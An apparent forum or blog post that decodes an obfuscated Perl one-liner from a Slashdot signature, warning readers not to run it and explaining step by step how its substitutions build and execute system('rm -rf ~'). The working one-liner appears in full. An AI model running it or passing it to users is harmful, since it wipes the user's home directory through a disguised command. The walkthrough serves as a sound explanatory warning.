Taken from http://ask.slashdot.org/comments.pl?sid=146253&cid=12256211, this is the signature of http://slashdot.org/~Gob Blesh It Don't run it until you've read to the end of this description. You HAVE been warned. perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{~" -;;s;;$_;see' Firstly, let's reformat for clarity. I'll add whitespace and 「」 to mark statement boundaries as I go, but there will be no other changes in this step. Sorry to anyone who can't see the unicode corner brackets, but I needed *something* he wasn't already using. 「$?」 ? 「s:;s:s;;$?:」 : 「s;;=]=>%-{<-|}<&|`{;」; 「y; -/:-@[-`{-};`-{~" -;」; 「s;;$_;see」 So now the structure is at least a bit clearer - overall, it's a cond ? true : false structure, and he's using the s/// and y/// substitution operators in clever ways, and with unusual delimiters. 「0 」 ? 「s:;s:s;;$?:」 # $? will be 0 at start, since no command has run. # Thus, this expression isn't used at all # It would be s/;s/s;;0/ if it was, but it's basically useless : 「s;;=]=>%-{<-|}<&|`{;」; # This is an s/// operation using ; as the delimiter # $_ is empty at start, and contains '=]=>%-{<-|}<&|`{' afterwards 「y; -/:-@[-`{-};`-{~" -;」; # y/// is the same operation as the more familiar tr/// # So lots of odd a-z style character classes in the actual transliteration # -/:-@[-`{-} is U+20-U+2F,U+3A-U+40,U+5B-U+60,U+7b-U-7d is ' !"#$%&'()*+,-./:;<=>?@[\]^_`{|}' # `-{~" -; is U+60-U+7B,U+7E,U+20,U=2d is '`abcdefghijklmnopqrstuvwxyz{~' -' # so after this substitution, $_ is 'system\'rm -rf ~\'' 「s;;$_;see」 # and now, to get our malicious little string run. This is a s/// operator with the s(single-line) and e(expression, repated twice) flags # the first e substitutes in $_, the second executes the remove # Since we're in expression mode, the replacement text is read as perl code and evaluated. oops! See, even manic perl has parsing rules :-)